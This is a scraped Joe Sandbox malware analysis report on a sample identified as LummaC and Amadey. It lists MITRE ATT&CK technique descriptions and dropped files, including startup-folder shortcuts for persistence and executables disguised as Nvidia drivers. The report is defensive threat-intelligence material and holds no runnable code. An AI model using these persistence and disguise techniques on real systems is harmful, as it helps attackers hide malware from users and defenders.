Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9DNEMG3H6COYF8VY.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe

C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe

C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe

C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe

C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0337b408af9a4e6b835026f5a14df7c8.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0a509360e9e545b68da05213f779415b.lnk

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre